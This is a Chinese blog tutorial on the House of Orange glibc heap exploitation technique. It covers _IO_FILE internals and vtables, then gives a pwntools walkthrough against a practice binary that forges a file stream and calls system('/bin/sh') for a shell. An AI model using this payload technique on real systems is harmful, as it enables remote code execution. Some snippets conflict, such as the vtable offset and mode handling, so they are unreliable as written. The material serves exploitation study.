在上次介绍过了Unsortedbin attack之后,再稍微进一步看一个更复杂一些的利用
House of Orange
这种利用技巧源于一道Hitcon CTF的同名题目,不过之后也有一些其他的变形
IO_FILE
在看House of Orange的例子之前,我们首先了解一个Linux中的利用机制
_IO_FILE
使用gdb随便调试一个程序
例如gdb /bin/sh
之后start
加载这个binary所有的依赖库文件
可以使用ptype /o struct _IO_FILE
查看这个结构的定义
/o
是在输出是显示偏移(offset)
在pwndbg中可以直接写为dt FILE
dt是pwndbg的指令dump type
如果要用dt查看其他结构需要用上引号dt "struct _IO_FILE"
_IO_FILE
这个结构体中有一个_chain
可以看到它的类型是一个struct _IO_FILE *
,也就是说是一个指向其他_IO_FILE
结构体的指针;
在使用fopen
之类的函数打开一个文件之后,实际上系统会在堆上创建一个这样的_IO_FILE
结构体,并将其加入到一个单链表中,单链表的头部为_IO_list_all
,这个单链表可以理解为是一个专门存储_IO_FILE
的fastbin
在gdb中输出_IO_list_all
,可以看到这个的类型是_IO_FILE_plus
输出这一个结构的类型,可以看到这个结构实际上就是_IO_FILE
加上了一个vtable
(下面的子节介绍了虚函数表的知识,可以看完之后再跳回来)
那这个_IO_list_all
结构体里面这个vtable是干什么用的呢?
为什么会用到C++里面的这种虚函数表呢
实际上GNU的C++库和C库联系非常的紧密,调试C++程序的时候可以发现其实一些C++的库函数底层实现都是借助C库的函数完成的
例如C++的方法make_shared()
、make_unique()
等底层实际上也都是通过malloc
实现的
这里的这个vtable实际上是为了与C++的streambuf
类兼容才会出现的
但是这里兼容性上的问题,让GLIBC的file stream有可能存在虚函数表劫持的漏洞
另一方面,我们知道Linux的文件系统中一切皆为文件
每一个进程创建时都会有三个标准I/O File Stream:
stdin
stdout
stderr
即使程序没有输出、没有输入,它也会存在这三个标准的I/O
还是以前面gdb打开的/bin/sh
为例,查看它的_IO_list_all
可以看到上面的三项内容
分别就是这三个标准的I/O
这个程序甚至还没有运行起来
所以即使一个程序没有用到文件,我们仍然是有可能利用到I/O File Stream的
虚函数表
这个vtable是一个虚函数表
这边需要补充一些vtable的相关知识
像C++这样的编程语言有一个机制叫做多态,参照菜鸟教程的例子
#include <iostream>
using namespace std;
class Shape {
protected:
int width, height;
public:
Shape( int a=0, int b=0)
{
width = a;
height = b;
}
virtual int area()
{
cout << "Parent class area :" <<endl;
return 0;
}
};
class Rectangle: public Shape{
public:
Rectangle( int a=0, int b=0):Shape(a, b) { }
int area ()
{
cout << "Rectangle class area :" <<endl;
return (width * height);
}
};
class Triangle: public Shape{
public:
Triangle( int a=0, int b=0):Shape(a, b) { }
int area ()
{
cout << "Triangle class area :" <<endl;
return (width * height / 2);
}
};
// 程序的主函数
int main( )
{
Shape *shape;
Rectangle rec(10,7);
Triangle tri(10,5);
// 存储矩形的地址
shape = &rec;
// 调用矩形的求面积函数 area
shape->area();
// 存储三角形的地址
shape = &tri;
// 调用三角形的求面积函数 area
shape->area();
return 0;
}
这里面有一个Shape
类,另外有两个子类Rectangle
和Triangle
有一个area
方法用于计算面积,但是三角形好正方形算面积的方法是不同的
同样调用的是area,编译器怎么就知道该去链接到哪一个函数呢
父类Shape
的area
是一个虚函数,编译器编译的时候不会链接到这个函数
实际上在创建rec
对象和tri
对象的时候,每个对象会有一个指向虚函数表的指针
这个指针会指向真正在链接时需要链接到的函数
在C++程序的exploitation中,一个比较常见的攻击方法就是劫持虚函数表
将一个对象的vtable pointer利用溢出等漏洞修改为我们伪造的一个函数表,这样每次触发应该调用的方法时就会执行伪造的地址指向的函数
House of orange
原理
House of orange的核心思想主要是这样几部分:
- 不使用free函数而得到一个free chunk
- 伪造vtable
具体而言,获取free chunk的实现方法是修改Top Chunk
在从零开始的Linux堆利用1#House of Force Private or Broken Links
The page you're looking for is either not available or private!
中使用的方法是修改Top Chunk
为一个特别大的值,之后我们申请一个特别大的chunk,循环一遍内存之后就可以访问到原本Top Chunk
上方的内容
那如果将Top Chunk
修改为一个很小的值呢?
在我们最开始学习堆的时候有了解到,malloc
分配内存的时候实际上更底层是通过sbrk
的调用拓展内存的空间的,这里图中绿色的线表示的就是brk
目前分配到的位置
假如我们把Top Chunk
修改为一个很小的数,这时再申请一个更大的chunk
内存认为的Top Chunk
是无法满足申请空间的需求的,因此堆管理器后续会再使用brk
申请一块新的区域
正常来说堆管理器会直接将通过brk
分配的新内存直接并入到Top Chunk中(即让Top Chunk变大)
但是由于我们改小了Top Chunk,堆管理器认为Top Chunk与堆的尾部并不相邻
因此会将原本的Top Chunk Free掉
这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk
根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现从零开始的Linux堆利用6#unsortedbin attack Private or Broken Links
The page you're looking for is either not available or private!
利用Unsorted bin attack结合IO_FILE
的伪造就可以直接getshell
实践
检查安全措施,可以看到这个程序开启了Canary和NX、got表不可写并且开启了随机化
尝试运行一下
这里使用到的程序有这样三个选项,可以申请两次小chunk和一次大chunk
申请之后在gdb中可以看到
小的chunk是0x20大小,而大的chunk大小是0xfd0
这个示例程序的漏洞在于edit函数,没有进行长度检查,可以溢出后面的chunk
但是edit只允许修改第一个small chunk
那么就按照前面说的思路首先修改Top Chunk为一个比较小的值,之后再申请这个大的chunk
为了使用unsortedbin attack,这个大小我们先定为0x100
小chunk大小为0x20,可用的内容应该是0x18,所以我们的payload为
small_malloc()
edit(b'Y'*0x18+p64(0x101))
运行后可以看到Top Chunk被我们改写为了0x101
这时我们再申请一个 large chunk
但是并没有顺利执行,遇到了一个这样的报错
使用f 3
切换frame到sysmalloc,可以看到在malloc里面实际上是因为一个assert
语句出现了错误
我们仔细看一下这里报错的语句,核心检查的地方其实是这两句
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize-1)) == 0
前一句很简单,就是说Top Chunk
的prev_inuser
位一定需要为1
后一句则是在检查Top Chunk是否在一个页的边界结尾,即是否按页对齐了
这里报错主要是这个页对齐检查没有通过
所以我们伪造的top chunk大小需要进行修改
在Top Chunk之前我们申请了一个0x20大小的chunk,因此这个大小我们伪造为0x1000-0x20
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
再次运行,可以看到就没有出错了
可以看到我们在这里得到了一个unsorted bin
那么接下来就是利用unsorted bin attack了
利用unsorted bin attack我们可以将main_arena写到任意地址
不过我们往哪里写这个值呢?
House of Orange接下来的步骤就是利用unsorted bin attack篡改_IO_list_all
的指针
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x21) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
我们获取到这个unsorted bin之后修改fd、bk
fd写成任意一个值,bk改为_IO_list_all
指针前0x10的值
之后再申请一个小的chunk
这样在申请时就会遍历unsorted bin,将这个unsorted bin unlink
执行之后可以看到这时_IO_list_all
已经指向main_arena
中的值了
正常来说,在程序退出时会对_IO_list_all
中的文件进行关闭(flush)
这个退出可能是调用了exit
,也可能是正常的从main
函数中return
这里下一个断点观察一下程序的行为
set breakpoint pending on
b _IO_flush_all_lockp
选择4 quit的操作
断在了这个函数,看到backtrace里面,这个_IO_flush_all_lockp
是由_IO_cleanup
调用的
继续运行,不出意外肯定会报错
这里错误是因为main_arena
被当作File Stream
对待
我们希望触发的是_IO_OVERFLOW(fp,EOF)
这一行
在这之前第一句进行了两个检查
fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base
这里被解析时_mode
被认为是一个负数,程序认为这个File Stream不需要被关闭
于是直接去看下一个FileStream了
下一个File Stream是去找了_chain
这个对象指向的位置,我们可以看到这里仍然在main_arena
中
这里是main_arena+168
,值为0x7ffff7dd4bc8
的位置
关于main_arena
的结构,我们可以复习一下这张图
图中Top Chunk
是0x555555778fd0
,unsortedbin fd
是0x555555757020
依次对应下来图中红框标记出来的 0x7ffff7dd4bc8
对应的是0x60的smallbins
所以在第一次_IO_flush_all_lockp
执行失败后会顺着_chain
找到这个0x60的smallbins进一步处理
那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了
还记得前面我们伪造了一个unsortedbin的大小吗?
如果我们将unsortedbin的大小伪造为0x60,在申请一个0x20大小的chunk时,这个unsortedbin就会被sort到这个0x60的smallbins中
也就是说我们直接在这个bins中伪造数据,就会被解析为FileStream了
修改一下payload
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
那么伪造File Stream的数据都需要填哪些呢?
先暂且不修改后面的内容,运行一下,看看这个smallbins的位置是如何被解析的
这篇博客开始时我们讲到用dt FILE查看_IO_FILE
结构
对应来看的话,原本chunk的size字段是_IO_read_ptr
flags对应的是prev_size
的地方,所以我们edit修改数据时填充可以少8个字节
想要触发overflow
函数,需要满足的条件是
这里写到的fp->mode <=0
并且fp-> _IO_write_ptr > fp-> _IO_write_base
那么我们对应的设置一下这些值
在wirte_end
及之后的内容直到mode
都是对我们没用的数据,直接先填0
这部分数据长度从0x30
到0xc0
,用p64(0)*18
来填充
payload = b"Y"*0x10
flags = b"Y"*0x8
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2
到这里为止,后面还有一部分没有用到的空间,是_IO_FILE
结构中最后的unused
部分有20个字节
我们也全部用0填充
以上内容就构造完毕了_IO_FILE
结构,但是关键的vtable
指针还没有修改
要伪造的vtable本身只是填一个任意的我们可以控制的区域的地址就可以
为了节省一些空间,我们让这个指针指回到伪造的_IO_FILE
中
那么计算一下vtable的值,从heap开始的位置,首先加上是0x20
大小的一个small chunk
加上0xd8
大小的整个伪造的_IO_FILE
结构
减去重合的8字节
最后是减去overflow函数的地址偏移24即0x18
修改一下之前payload的最后一部分
vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18
payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)
最后就是overflow
的值了
这里有两个选择,一是可以直接填写一个one_gadget
或者我们可以回忆一下,overflow函数调用时的样子
实际上调用的参数是fp
,也就是最开始的flags
毕竟整个_IO_FILE
都是我们伪造的内容,因此这个flags
也可以直接控制
那么另一个简单的方法就是修改为
flags = b"/bin/sh\x00"
overflow = libc.sym.system
那么最终完整的部分为
#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()
#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)
payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(payload)
#-----触发操作让unsortedbin被sort
small_malloc()
执行一下脚本,虽然报了一堆错误,但是执行下来还是弹回来了一个shell
这就是House Of Orange的完整过程了,确实很巧妙,并且过程也比之前学到的内容复杂一些
不好理解的话实际动手写一下就会好很多